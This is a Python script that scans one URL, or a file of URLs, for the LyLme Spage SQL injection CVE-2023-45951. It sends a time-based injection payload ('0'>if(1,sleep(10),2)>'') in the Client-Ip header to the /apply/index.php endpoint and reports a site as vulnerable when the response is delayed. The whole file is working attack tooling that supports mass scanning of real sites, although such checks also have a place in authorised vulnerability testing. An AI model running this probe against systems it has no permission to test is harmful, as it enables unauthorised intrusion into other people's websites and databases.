import requests
import urllib3
import re,string,random
from urllib.parse import urljoin
import argparse
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def generate_random_string(length):
    characters = string.ascii_letters + string.digits
    random_string = ''.join(random.choice(characters) for _ in range(length))
    return random_string

def read_file(file_path):
    with open(file_path, 'r') as file:
        urls = file.read().splitlines()
    return urls

def check(url):
    url = url.rstrip("/")
    taeget_url = urljoin(url, "/apply/index.php?submit=post")
    random_string = generate_random_string(9)
    try:
        headers = {
            "User-Agent": "Mozilla/2.0 (compatible; MSIE 3.01; Windows 95",
            "Content-Type": "application/x-www-form-urlencoded",
            "Client-Ip": "0'>if(1,sleep(10),2)>'"
        }
        data = f"""url=http%3A%2F%2F{random_string}.com&name=test&group_id=1&icon=&authcode="""
        response = requests.post(taeget_url, verify=False, headers=headers, data=data, timeout=25)
        if 9.5 <= response.elapsed.total_seconds() < 15 and '请等待管理员审核' in response.text and '"code": "200"' in response.text:
            print(f"\033[31mDiscovered；{url}: LyLme Spage CVE-2023-45951 SQL injection!\033[0m")
            return True
    except Exception as e:
        pass


if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", help="URL")
    parser.add_argument("-f", "--txt", help="file")
    args = parser.parse_args()
    url = args.url
    txt = args.txt
    if url:
        check(url)
    elif txt:
        urls = read_file(txt)
        for url in urls:
            check(url)
    else:
        print("help")
